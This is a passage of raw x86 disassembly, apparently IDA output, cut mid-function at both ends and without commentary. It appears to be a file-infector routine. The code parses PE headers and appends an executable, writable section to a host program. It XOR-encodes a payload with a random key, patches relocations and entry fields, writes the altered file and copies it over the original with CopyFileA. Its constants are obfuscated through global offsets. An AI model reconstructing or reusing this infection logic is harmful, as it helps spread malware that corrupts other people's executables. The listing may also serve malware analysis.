mov [ebp+var_20], eax
mov eax, [ebp+var_C54]
cmp [ebp+var_10], eax
jz short loc_43C699
mov eax, [ebp+var_8]
mov edx, dword_44B1C0
sub edx, 3
cmp [eax+0A8h], edx
jz loc_43D728
loc_43C699: ; CODE XREF: sub_43C38A+2F5j
mov eax, dword_44B0B4
add eax, dword_44B0A0
sub eax, 0Ch
cmp [ebp+var_105C], eax
jz loc_43C778
mov eax, dword_44B1A0
sub eax, 6
mov [ebp+var_31F0C], eax
mov eax, dword_44B134
sub eax, 3
mov [ebp+var_31F04], eax
jmp short loc_43C71F
; ---------------------------------------------------------------------------
loc_43C6D1: ; CODE XREF: sub_43C38A+3BBj
mov eax, [ebp+var_105C]
mov [ebp+var_31F10], eax
mov eax, 1Ch
mul [ebp+var_31F04]
mov [ebp+var_31F14], eax
mov eax, [ebp+var_31F10]
mov edx, [ebp+var_31F14]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F08], eax
mov edx, [ebp+var_31F0C]
cmp [eax+18h], edx
jbe short loc_43C719
mov eax, [eax+18h]
mov [ebp+var_31F0C], eax
loc_43C719: ; CODE XREF: sub_43C38A+384j
inc [ebp+var_31F04]
loc_43C71F: ; CODE XREF: sub_43C38A+345j
mov edi, [ebp+var_8]
mov eax, [edi+0ACh]
mov ecx, 1Ch
shr eax, 2
mov edx, 24924925h
mul edx
mov [ebp+var_31F10], edx
mov edi, edx
cmp [ebp+var_31F04], edi
jb short loc_43C6D1
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_31F0C]
call sub_43DDCD
add esp, 8
mov [ebp+var_31F0C], eax
mov eax, [ebp+var_C54]
cmp eax, [ebp+var_10]
jz short loc_43C778
cmp [ebp+var_31F0C], eax
jnz loc_43D728
loc_43C778: ; CODE XREF: sub_43C38A+323j
; sub_43C38A+3E0j
and [ebp+var_1174], 0
mov eax, dword_44B1CC
movsx edx, word_44B0DC
add eax, edx
sub eax, 0Ah
mov [ebp+var_438], eax
jmp loc_43C8D5
; ---------------------------------------------------------------------------
loc_43C79B: ; CODE XREF: sub_43C38A+55Aj
mov eax, [ebp+var_848]
add eax, [ebp+var_438]
add eax, [ebp+var_4]
mov [ebp+var_32008], eax
mov edx, dword_44B0D4
dec edx
cmp [eax], edx
jz loc_43C8EA
mov eax, [ebp+var_32008]
mov eax, [eax+0Ch]
sub eax, [ebp+var_430]
add eax, [ebp+var_848]
mov [ebp+var_3200C], eax
add eax, [ebp+var_4]
push eax
lea eax, [ebp+var_32003]
push eax
call ds:dword_4471F4
add esp, 8
movsx eax, word_44B100
movsx edx, word_44B128
add eax, edx
sub eax, 9
mov [ebp+var_31F04], eax
jmp short loc_43C834
; ---------------------------------------------------------------------------
loc_43C809: ; CODE XREF: sub_43C38A+4C9j
mov eax, [ebp+var_31F04]
mov al, [ebp+eax+var_32003]
cmp al, 61h
jle short loc_43C82E
cmp al, 7Ah
jge short loc_43C82E
mov eax, [ebp+var_31F04]
lea eax, [ebp+eax+var_32003]
sub byte ptr [eax], 20h
loc_43C82E: ; CODE XREF: sub_43C38A+48Ej
; sub_43C38A+492j
inc [ebp+var_31F04]
loc_43C834: ; CODE XREF: sub_43C38A+47Dj
mov eax, [ebp+var_31F04]
movsx eax, [ebp+eax+var_32003]
mov edx, dword_44B13C
add edx, dword_44B098
sub edx, 9
cmp eax, edx
jnz short loc_43C809
mov eax, dword_44B1B4
cmp [ebp+eax+var_32004], 4Bh
jnz short loc_43C8CE
movsx eax, word_44B0DC
cmp byte ptr [ebp+eax+var_32008], 45h
jnz short loc_43C8CE
mov eax, dword_44B0EC
add eax, dword_44B164
cmp byte ptr [ebp+eax+var_32008+2], 52h
jnz short loc_43C8CE
movsx eax, word_44B170
movsx edx, word_44B180
add eax, edx
cmp byte ptr [ebp+eax+var_3200C], 4Ch
jnz short loc_43C8CE
movsx eax, word_44B154
cmp byte ptr [ebp+eax+var_32008+3], 33h
jnz short loc_43C8CE
mov eax, dword_44B118
cmp [ebp+eax+var_31FFD], 32h
jnz short loc_43C8CE
mov [ebp+var_1174], 1
loc_43C8CE: ; CODE XREF: sub_43C38A+4D8j
; sub_43C38A+4E9j ...
add [ebp+var_438], 14h
loc_43C8D5: ; CODE XREF: sub_43C38A+40Cj
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_438], eax
jb loc_43C79B
loc_43C8EA: ; CODE XREF: sub_43C38A+42Fj
cmp [ebp+var_1174], 0
jz loc_43D728
lea eax, [ebp+var_31EC3]
mov [ebp+var_42C], eax
mov ecx, [eax+3Ch]
mov [ebp+var_84C], ecx
add ecx, eax
mov [ebp+var_844], ecx
mov eax, [ebp+var_8]
mov [ebp+var_31F04], eax
movsx edx, word_44B1BC
sub edx, 6
cmp [eax+0D0h], edx
jz loc_43CAA4
mov edx, [eax+0D4h]
mov [ebp+var_31F08], edx
movsx ecx, word_44B0D0
cmp edx, ecx
jz loc_43CAA4
mov ecx, 28h
mov edi, [ebp+var_840]
add edi, 0F8h
mov eax, ecx
mov edx, [ebp+var_31F04]
movzx edx, word ptr [edx+6]
mov [ebp+var_31F0C], edx
mul edx
mov [ebp+var_31F10], eax
mov edx, edi
add edx, eax
mov [ebp+var_31F18], edx
mov eax, ecx
mov [ebp+var_31F14], eax
mov ecx, dword_44B108
add ecx, 4
mul ecx
mov [ebp+var_31F1C], eax
mov eax, [ebp+var_31F18]
mov edx, [ebp+var_31F1C]
add eax, edx
mov edx, [ebp+var_31F08]
add eax, edx
mov edx, [ebp+var_31F04]
cmp [edx+54h], eax
jbe loc_43CAA4
mov eax, [ebp+var_840]
add eax, 0F8h
mov [ebp+var_31F28], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F2C], eax
mov eax, [ebp+var_31F28]
mov edx, [ebp+var_31F2C]
add eax, edx
mov [ebp+var_31F20], eax
mov [ebp+var_31F30], eax
mov eax, 28h
mov ecx, [ebp+var_844]
movzx ecx, word ptr [ecx+6]
movsx edi, word_44B0BC
sub edi, 7
sub ecx, edi
mul ecx
mov [ebp+var_31F34], eax
mov eax, [ebp+var_31F30]
mov edx, [ebp+var_31F34]
add eax, edx
mov [ebp+var_31F24], eax
mov eax, [ebp+var_8]
push dword ptr [eax+0D4h]
mov eax, [ebp+var_4]
mov edx, [ebp+var_31F20]
add edx, eax
push edx
mov edx, [ebp+var_31F24]
add edx, eax
push edx
call ds:dword_449634
add esp, 0Ch
mov eax, [ebp+var_8]
add eax, 0D0h
mov [ebp+var_31F38], eax
mov eax, 28h
mov ecx, [ebp+var_844]
movzx ecx, word ptr [ecx+6]
mov edi, dword_44B130
add edi, dword_44B144
sub edi, 3
sub ecx, edi
mul ecx
mov [ebp+var_31F3C], eax
mov eax, [ebp+var_31F38]
mov edx, eax
mov ecx, [ebp+var_31F3C]
add [edx], ecx
loc_43CAA4: ; CODE XREF: sub_43C38A+5A3j
; sub_43C38A+5BEj ...
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43DDCD
mov [ebp+var_10], eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F20], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F20]
mov esi, edx
add esi, eax
push offset byte_44C5CF
call sub_4424C1
push eax
push esi
call ds:dword_4471F4
mov eax, dword_44B0AC
add eax, 1FFFDh
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+arg_8]
add eax, 0Dh
push eax
call sub_43DDCD
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, dword_44B104
add eax, 0C0000034h
movsx edx, word_44B100
add eax, edx
mov [esi+24h], eax
mov eax, dword_44B164
add eax, 6
movsx edx, word_44B180
add eax, edx
push eax
mov eax, dword_44B098
add eax, dword_44B09C
sub eax, 0Fh
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_449640
mov eax, [ebp+var_20]
mov [ebp+var_1060], eax
mov eax, [ebp+var_10]
mov [ebp+var_850], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
mov eax, [ebp+var_10]
add eax, [esi+10h]
push eax
call sub_43DDCD
add esp, 30h
mov [ebp+var_10], eax
mov eax, dword_44B0EC
add eax, 1FFFAh
add eax, dword_44B118
add [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [esi+8]
mov [eax+50h], edx
call ds:dword_44ABAC
mov edi, dword_44B118
movsx edx, word_44B180
add edi, edx
sub edi, 6
mov ecx, 0FDh
cdq
idiv ecx
add edi, edx
mov [ebp+var_1064], edi
mov eax, dword_44B1C8
sub eax, 2
mov edx, [ebp+var_42C]
mov ecx, edi
xor ecx, 4Dh
mov [edx+eax], cl
mov edi, dword_44B1CC
sub edi, 3
mov ecx, [ebp+arg_8]
shr ecx, 9
mov [edx+edi], cl
call ds:dword_44ABAC
mov edi, [ebp+var_84C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F28], edx
mov [ebp+var_31F24], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F28]
mov [ecx+edi], dl
call ds:dword_44ABAC
mov edx, dword_44B1B4
movsx ecx, word_44B114
add edx, ecx
sub edx, 2
add edi, edx
mov edx, [ebp+var_42C]
mov [ebp+var_31F30], edx
mov [ebp+var_31F2C], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F30]
mov [ecx+edi], dl
mov eax, dword_44B15C
add eax, 37h
add eax, dword_44B144
mov [ebp+var_43C], eax
jmp short loc_43CCBF
; ---------------------------------------------------------------------------
loc_43CC8A: ; CODE XREF: sub_43C38A+941j
call ds:dword_44ABAC
mov edi, [ebp+var_43C]
mov edx, [ebp+var_42C]
mov [ebp+var_31F38], edx
mov [ebp+var_31F34], eax
mov ecx, 0FFh
cdq
idiv ecx
mov ecx, [ebp+var_31F38]
mov [ecx+edi], dl
inc [ebp+var_43C]
loc_43CCBF: ; CODE XREF: sub_43C38A+8FEj
mov eax, [ebp+var_84C]
cmp [ebp+var_43C], eax
jb short loc_43CC8A
push 0Dh
push offset dword_44B200
lea eax, [ebp+var_31ED0]
push eax
call ds:dword_449634
mov eax, [esi+10h]
add eax, 0Dh
push eax
lea eax, [ebp+var_31ED0]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_449634
add esp, 18h
mov eax, [esi+14h]
add eax, 0Dh
mov [ebp+var_1068], eax
mov edx, dword_44B11C
add edx, dword_44B0E4
sub edx, 3
add eax, edx
mov [ebp+var_424], eax
jmp short loc_43CD3E
; ---------------------------------------------------------------------------
loc_43CD24: ; CODE XREF: sub_43C38A+9C3j
mov eax, [ebp+var_424]
add eax, [ebp+var_4]
movzx edx, byte ptr [eax]
xor edx, [ebp+var_1064]
mov [eax], dl
inc [ebp+var_424]
loc_43CD3E: ; CODE XREF: sub_43C38A+998j
mov eax, [ebp+var_1068]
add eax, [ebp+arg_8]
cmp [ebp+var_424], eax
jb short loc_43CD24
movsx eax, word_44B148
add eax, dword_44B1B8
sub eax, 6
mov [ebp+var_18], eax
mov eax, dword_44B164
mov [ebp+var_440], eax
jmp loc_43CFC3
; ---------------------------------------------------------------------------
loc_43CD72: ; CODE XREF: sub_43C38A+C49j
mov eax, 28h
mul [ebp+var_440]
mov [ebp+var_31F40], eax
mov eax, [ebp+var_84C]
mov edx, [ebp+var_42C]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F40]
mov ebx, edx
add ebx, eax
mov eax, 28h
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx+6]
mul ecx
mov [ebp+var_31F44], eax
mov eax, [ebp+var_840]
mov edx, [ebp+var_4]
lea eax, [eax+edx+0F8h]
mov edx, [ebp+var_31F44]
mov esi, edx
add esi, eax
mov eax, dword_44B11C
add eax, dword_44B1B4
sub eax, 4
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43CE1B
mov eax, dword_44B1CC
movsx edx, word_44B150
add eax, edx
sub eax, 8
cmp byte ptr [ebx+eax], 72h
jnz short loc_43CE1B
mov eax, dword_44B174
add eax, dword_44B1B0
sub eax, 4
cmp byte ptr [ebx+eax], 63h
jnz short loc_43CE1B
mov eax, [ebx+14h]
mov [ebp+var_1178], eax
jmp loc_43CFBD
; ---------------------------------------------------------------------------
loc_43CE1B: ; CODE XREF: sub_43C38A+A56j
; sub_43C38A+A6Dj ...
movsx eax, word_44B1A8
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43CE62
mov eax, dword_44B104
sub eax, 2
cmp byte ptr [ebx+eax], 65h
jnz short loc_43CE62
mov eax, dword_44B1AC
inc eax
movsx edx, word_44B0D0
add eax, edx
cmp byte ptr [ebx+eax], 61h
jnz short loc_43CE62
mov eax, [ebx+14h]
mov [ebp+var_117C], eax
mov eax, [ebx+0Ch]
mov [ebp+var_1180], eax
jmp loc_43CFBD
; ---------------------------------------------------------------------------
loc_43CE62: ; CODE XREF: sub_43C38A+A9Cj
; sub_43C38A+AAAj ...
mov eax, dword_44B140
add eax, dword_44B0B8
sub eax, 0Ch
cmp byte ptr [ebx+eax], 2Eh
jnz short loc_43CE9E
movsx eax, word_44B0D8
add eax, dword_44B1B0
sub eax, 4
cmp byte ptr [ebx+eax], 69h
jnz short loc_43CE9E
mov eax, dword_44B0D4
add eax, 4
cmp byte ptr [ebx+eax], 61h
jz loc_43CFBD
loc_43CE9E: ; CODE XREF: sub_43C38A+AEAj
; sub_43C38A+B00j
push ebx
push esi
call ds:dword_4471F4
mov eax, [ebx+8]
mov [esi+8], eax
mov eax, [ebp+var_20]
mov [esi+0Ch], eax
mov eax, [ebx+10h]
mov [esi+10h], eax
mov eax, [ebp+var_10]
mov [esi+14h], eax
mov eax, [ebx+24h]
mov [esi+24h], eax
mov eax, dword_44B0F0
inc eax
add eax, dword_44B10C
push eax
mov eax, dword_44B11C
sub eax, 3
push eax
mov eax, esi
add eax, 18h
push eax
call ds:dword_449640
mov edi, [ebp+var_18]
mov edx, [ebx+0Ch]
mov [ebp+edi*4+var_420], edx
mov edx, [ebx+8]
mov [ebp+edi*4+var_83C], edx
mov edx, [esi+0Ch]
mov [ebp+edi*4+var_C4C], edx
mov edx, [esi+14h]
mov [ebp+edi*4+var_1050], edx
inc [ebp+var_18]
mov eax, [ebx+10h]
add [ebp+var_10], eax
mov eax, [ebp+var_10]
mov [ebp+var_31F3C], eax
mov eax, [ebp+var_8]
push dword ptr [eax+3Ch]
push [ebp+var_10]
call sub_43DDCD
add esp, 1Ch
mov [ebp+var_10], eax
mov eax, dword_44B0F0
add eax, dword_44B1C8
sub eax, 5
cmp byte ptr [ebx+eax], 64h
jnz short loc_43CF6B
mov eax, [ebp+var_31F3C]
cmp [ebp+var_10], eax
jbe short loc_43CF6B
mov ecx, [ebp+var_10]
sub ecx, eax
mov [ebp+var_31F48], ecx
mov eax, ecx
add [esi+8], eax
mov eax, ecx
add [esi+10h], eax
loc_43CF6B: ; CODE XREF: sub_43C38A+BBFj
; sub_43C38A+BCAj
mov eax, dword_44B158
add eax, 0FFAh
add eax, dword_44B17C
push eax
mov eax, [ebp+var_20]
add eax, [ebx+8]
push eax
call sub_43DDCD
mov [ebp+var_20], eax
mov eax, [ebp+var_8]
add eax, 6
inc word ptr [eax]
mov eax, [ebp+var_8]
mov edx, [esi+0Ch]
add edx, [ebx+8]
mov [eax+50h], edx
push dword ptr [esi+10h]
mov eax, [ebx+14h]
add eax, [ebp+var_42C]
push eax
mov eax, [esi+14h]
add eax, [ebp+var_4]
push eax
call ds:dword_449634
add esp, 14h
loc_43CFBD: ; CODE XREF: sub_43C38A+A8Cj
; sub_43C38A+AD3j ...
inc [ebp+var_440]
loc_43CFC3: ; CODE XREF: sub_43C38A+9E3j
mov eax, [ebp+var_844]
movzx eax, word ptr [eax+6]
cmp [ebp+var_440], eax
jb loc_43CD72
mov eax, [ebp+var_1178]
add eax, [ebp+var_42C]
mov [ebp+var_14], eax
loc_43CFE8: ; CODE XREF: sub_43C38A+E9Bj
mov eax, dword_44B12C
movsx edx, word_44B180
add eax, edx
sub eax, 0Bh
mov [ebp+var_1C], eax
jmp short loc_43D05A
; ---------------------------------------------------------------------------
loc_43CFFE: ; CODE XREF: sub_43C38A+CD6j
mov edi, [ebp+var_1C]
mov edx, [ebp+var_14]
mov edx, [edx]
cmp [ebp+edi*4+var_420], edx
jnz short loc_43D01A
mov eax, [ebp+var_14]
mov eax, [eax]
mov [ebp+var_C50], eax
loc_43D01A: ; CODE XREF: sub_43C38A+C83j
mov edi, [ebp+var_1C]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
mov edi, [ebp+var_14]
cmp edx, [edi]
jbe short loc_43D057
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_1050]
mov [ebp+var_106C], edi
mov edi, [ebp+var_1C]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1054], edi
jmp short loc_43D062
; ---------------------------------------------------------------------------
loc_43D057: ; CODE XREF: sub_43C38A+CA9j
inc [ebp+var_1C]
loc_43D05A: ; CODE XREF: sub_43C38A+C72j
mov eax, [ebp+var_18]
cmp [ebp+var_1C], eax
jb short loc_43CFFE
loc_43D062: ; CODE XREF: sub_43C38A+CCBj
movsx eax, word_44B180
add eax, dword_44B138
sub eax, 0Eh
mov [ebp+var_428], eax
jmp loc_43D1EB
; ---------------------------------------------------------------------------
loc_43D07D: ; CODE XREF: sub_43C38A+E6Dj
mov eax, [ebp+var_428]
movsx edx, word_44B090
add edx, 7
add eax, edx
add eax, [ebp+var_14]
mov [ebp+var_31F40], eax
mov ax, [eax]
mov word ptr [ebp+var_31F3C], ax
movzx eax, word ptr [ebp+var_31F3C]
mov edx, dword_44B0A0
sub edx, 4
cmp eax, edx
jz loc_43D1FD
movzx edi, word ptr [ebp+var_31F3C]
mov ecx, dword_44B198
add ecx, 4
sar edi, cl
mov word ptr [ebp+var_31F44+2], di
movzx edi, word ptr [ebp+var_31F3C]
mov edx, dword_44B1CC
add edx, dword_44B104
mov ecx, edx
sub ecx, 3
shl edi, cl
mov word ptr [ebp+var_31F3C+2], di
movzx edi, word ptr [ebp+var_31F3C+2]
mov ecx, dword_44B098
sub ecx, 3
sar edi, cl
mov word ptr [ebp+var_31F3C+2], di
movzx eax, word ptr [ebp+var_31F3C+2]
mov edx, dword_44B10C
add edx, dword_44B164
sub edx, 7
cmp eax, edx
jnz short loc_43D143
movsx eax, word_44B100
add eax, dword_44B104
sub eax, 0Ch
cmp [ebp+var_428], eax
jnz loc_43D1FD
loc_43D143: ; CODE XREF: sub_43C38A+D9Bj
mov eax, [ebp+var_844]
mov eax, [eax+34h]
mov edx, [ebp+var_14]
add eax, [edx]
movzx edx, word ptr [ebp+var_31F3C+2]
add eax, edx
mov [ebp+var_31F48], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1054]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F3C+2]
add eax, edx
mov [ebp+var_31F4C], eax
sub eax, [ebp+var_31F48]
mov [ebp+var_31F50], eax
movzx eax, word ptr [ebp+var_31F44+2]
mov edx, dword_44B098
add edx, dword_44B18C
sub edx, 5
cmp eax, edx
jnz short loc_43D1D7
mov eax, [ebp+var_106C]
mov edx, [ebp+var_14]
add eax, [edx]
sub eax, [ebp+var_C50]
movzx edx, word ptr [ebp+var_31F3C+2]
add eax, edx
add eax, [ebp+var_4]
mov [ebp+var_31F54], eax
mov edx, [ebp+var_31F50]
add [eax], edx
loc_43D1D7: ; CODE XREF: sub_43C38A+E20j
mov eax, dword_44B17C
add eax, dword_44B0C4
sub eax, 8
add [ebp+var_428], eax
loc_43D1EB: ; CODE XREF: sub_43C38A+CEEj
mov eax, [ebp+var_14]
mov eax, [eax+4]
cmp [ebp+var_428], eax
jb loc_43D07D
loc_43D1FD: ; CODE XREF: sub_43C38A+D2Aj
; sub_43C38A+DB3j
mov eax, [ebp+var_14]
mov edx, [eax+4]
add edx, eax
mov [ebp+var_14], edx
mov eax, [ebp+var_844]
mov eax, [eax+0A4h]
mov edx, [ebp+var_1178]
add edx, [ebp+var_42C]
add eax, edx
cmp [ebp+var_14], eax
jb loc_43CFE8
mov eax, [ebp+var_8]
mov ecx, [eax+28h]
mov [ebp+var_1184], ecx
mov edx, [ebp+var_1060]
mov [eax+28h], edx
add eax, 60h
mov edx, [ebp+var_844]
mov edx, [edx+60h]
add [eax], edx
mov eax, [ebp+var_8]
add eax, 68h
mov edx, [ebp+var_844]
mov edx, [edx+68h]
add [eax], edx
mov eax, [ebp+var_8]
movsx edx, word_44B0B0
mov ecx, dword_44B120
lea edx, [edx+ecx+3]
mov [eax+44h], dx
movsx edx, word_44B110
mov ecx, dword_44B0AC
lea edx, [edx+ecx+1]
mov [eax+1Ah], dl
movsx eax, word_44B110
mov edx, [ebp+var_8]
mov ecx, eax
add ecx, eax
mov eax, ecx
sub eax, 7
mov [edx+46h], ax
mov eax, [ebp+var_117C]
add eax, [ebp+var_42C]
mov [ebp+var_31EDC], eax
mov eax, [ebp+var_117C]
mov edx, [ebp+var_31EDC]
add eax, [edx+1Ch]
sub eax, [ebp+var_1180]
mov [ebp+var_31EE0], eax
add eax, [ebp+var_42C]
mov [ebp+var_31EE4], eax
mov eax, [eax]
mov [ebp+var_1058], eax
movsx eax, word_44B100
add eax, dword_44B0C0
sub eax, 0Ah
mov [ebp+var_24], eax
jmp short loc_43D339
; ---------------------------------------------------------------------------
loc_43D2F8: ; CODE XREF: sub_43C38A+FB5j
mov edi, [ebp+var_24]
shl edi, 2
mov edx, [ebp+edi+var_420]
add edx, [ebp+edi+var_83C]
cmp edx, [ebp+var_1058]
jbe short loc_43D336
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_420]
mov [ebp+var_1188], edi
mov edi, [ebp+var_24]
mov edi, [ebp+edi*4+var_C4C]
mov [ebp+var_1190], edi
jmp short loc_43D341
; ---------------------------------------------------------------------------
loc_43D336: ; CODE XREF: sub_43C38A+F88j
inc [ebp+var_24]
loc_43D339: ; CODE XREF: sub_43C38A+F6Cj
mov eax, [ebp+var_18]
cmp [ebp+var_24], eax
jb short loc_43D2F8
loc_43D341: ; CODE XREF: sub_43C38A+FAAj
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1190]
add eax, [ebp+var_1058]
sub eax, [ebp+var_1188]
mov [ebp+var_118C], eax
mov eax, [ebp+var_844]
mov eax, [eax+34h]
add eax, [ebp+var_1058]
mov [ebp+var_1058], eax
mov eax, [ebp+var_850]
mov [ebp+var_C], eax
jmp loc_43D5F8
; ---------------------------------------------------------------------------
loc_43D382: ; CODE XREF: sub_43C38A+127Aj
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
mov [ebp+var_31F3C], edx
mov ecx, dword_44B0F8
movzx edi, byte ptr [edx+eax]
movsx edx, word_44B150
lea edx, [edx+ecx+0E2h]
cmp edi, edx
jnz loc_43D4CD
mov edx, dword_44B188
add edx, dword_44B0C0
mov edi, eax
add edi, edx
mov edx, [ebp+var_31F3C]
movzx edx, byte ptr [edx+edi]
movsx edi, word_44B0D0
add edi, dword_44B1B0
cmp edx, edi
jnz loc_43D4CD
mov edx, eax
add edx, ecx
mov ecx, [ebp+var_31F3C]
movzx edx, byte ptr [ecx+edx]
movsx ecx, word_44B168
movsx edi, word_44B0F4
add ecx, edi
sub ecx, 11h
cmp edx, ecx
jnz loc_43D4CD
mov edx, dword_44B1B4
add edx, 2
mov ecx, eax
add ecx, edx
mov edx, [ebp+var_31F3C]
movzx edx, byte ptr [edx+ecx]
cmp edx, dword_44B108
jnz loc_43D4CD
mov edx, dword_44B1AC
add edx, dword_44B1A0
sub edx, 6
add eax, edx
mov edx, [ebp+var_31F3C]
movzx eax, byte ptr [edx+eax]
movsx edx, word_44B114
movsx ecx, word_44B154
add edx, ecx
sub edx, 0Ah
cmp eax, edx
jnz short loc_43D4CD
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F40], eax
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1184]
mov [ebp+var_31F44], eax
mov eax, dword_44B130
add eax, 0FFFFFFFFh
sub eax, [ebp+var_31F40]
add eax, [ebp+var_31F44]
movsx edx, word_44B0D0
add edx, 4
sub eax, edx
mov [ebp+var_31F48], eax
mov edi, dword_44B17C
mov edx, [ebp+var_C]
mov ecx, dword_44B0C4
sub ecx, 3
add edx, ecx
add edx, [ebp+var_4]
mov ecx, eax
mov [edx+edi*4-18h], ecx
loc_43D4CD: ; CODE XREF: sub_43C38A+101Ej
; sub_43C38A+104Dj ...
mov eax, [ebp+var_C]
mov edx, [ebp+var_4]
movzx ecx, byte ptr [edx+eax]
mov edi, dword_44B1A4
add edi, 0E0h
add edi, dword_44B0B4
cmp ecx, edi
jnz loc_43D5F5
mov ecx, dword_44B10C
sub ecx, 6
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
mov edi, dword_44B140
sub edi, 8
cmp ecx, edi
jnz loc_43D5F5
movsx ecx, word_44B110
sub ecx, 2
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word_44B1A8
cmp ecx, edi
jnz loc_43D5F5
movsx ecx, word_44B128
add ecx, 3
mov edi, eax
add edi, ecx
movzx ecx, byte ptr [edx+edi]
movsx edi, word_44B0B0
sub edi, 8
cmp ecx, edi
jnz loc_43D5F5
add eax, dword_44B0B8
movzx eax, byte ptr [edx+eax]
mov edx, dword_44B144
sub edx, 5
cmp eax, edx
jnz loc_43D5F5
mov eax, [ebp+var_8]
mov eax, [eax+34h]
add eax, [ebp+var_1060]
mov edx, [ebp+var_C]
sub edx, [ebp+var_850]
add eax, edx
mov [ebp+var_31F40], eax
mov eax, [ebp+var_118C]
mov [ebp+var_31F44], eax
mov eax, dword_44B0F0
add eax, 0FFFFFFFBh
sub eax, [ebp+var_31F40]
add eax, [ebp+var_31F44]
movsx edx, word_44B0B0
sub edx, 4
sub eax, edx
mov [ebp+var_31F48], eax
mov edi, dword_44B098
movsx edx, word_44B19C
mov ecx, edi
add ecx, edx
mov edx, [ebp+var_C]
movsx eax, word_44B1BC
add eax, edi
mov edi, eax
sub edi, 0Ch
add edx, edi
mov edi, edx
add edi, [ebp+var_4]
mov edx, [ebp+var_31F48]
mov [edi+ecx*4-34h], edx
loc_43D5F5: ; CODE XREF: sub_43C38A+1161j
; sub_43C38A+1183j ...
inc [ebp+var_C]
loc_43D5F8: ; CODE XREF: sub_43C38A+FF3j
mov eax, [ebp+var_850]
add eax, 0Dh
cmp [ebp+var_C], eax
jb loc_43D382
push [ebp+var_1070]
call ds:dword_449650 ; CloseHandle
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call ds:dword_4471F4
add esp, 8
lea ecx, [ebp+var_116F]
or eax, 0FFFFFFFFh
loc_43D632: ; CODE XREF: sub_43C38A+12ADj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D632
mov [ebp+var_31ED4], eax
mov edx, dword_44B198
add edx, dword_44B158
sub edx, 5
sub eax, edx
mov [ebp+eax+var_116F], 69h
mov eax, [ebp+var_31ED4]
mov edx, dword_44B0C0
movsx ecx, word_44B180
add edx, ecx
sub edx, 5
sub eax, edx
mov [ebp+eax+var_116F], 76h
mov eax, [ebp+var_31ED4]
mov edx, dword_44B140
sub edx, 7
sub eax, edx
mov [ebp+eax+var_116F], 72h
push 0
mov eax, dword_44B098
movsx edx, word_44B128
add eax, edx
sub eax, 7
push eax
push 2
push 0
mov eax, dword_44B18C
add eax, dword_44B1B0
sub eax, 1
push eax
push 40000000h
lea eax, [ebp+var_116F]
push eax
call ds:dword_44A788 ; CreateFileA
mov [ebp+var_1070], eax
push 0
lea eax, [ebp+var_31ED8]
push eax
push [ebp+var_10]
push [ebp+var_4]
push [ebp+var_1070]
call ds:dword_44AB8C ; WriteFile
push [ebp+var_1070]
call ds:dword_449650 ; CloseHandle
push [ebp+var_4]
call ds:dword_447618 ; LocalFree
push 0
push [ebp+arg_0]
lea eax, [ebp+var_116F]
push eax
call ds:dword_448364 ; CopyFileA
lea eax, [ebp+var_116F]
push eax
call ds:dword_445008 ; DeleteFileA
mov eax, 1
jmp short loc_43D73F
; ---------------------------------------------------------------------------
loc_43D728: ; CODE XREF: sub_43C38A+BAj
; sub_43C38A+D4j ...
push [ebp+var_1070]
call ds:dword_449650 ; CloseHandle
push [ebp+var_4]
call ds:dword_447618 ; LocalFree
xor eax, eax
loc_43D73F: ; CODE XREF: sub_43C38A+56j
; sub_43C38A+139Cj
pop edi
pop esi
pop ebx
leave
retn
sub_43C38A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D744 proc near ; CODE XREF: sub_43B780+197p
; sub_43B780+23Bp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
and [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
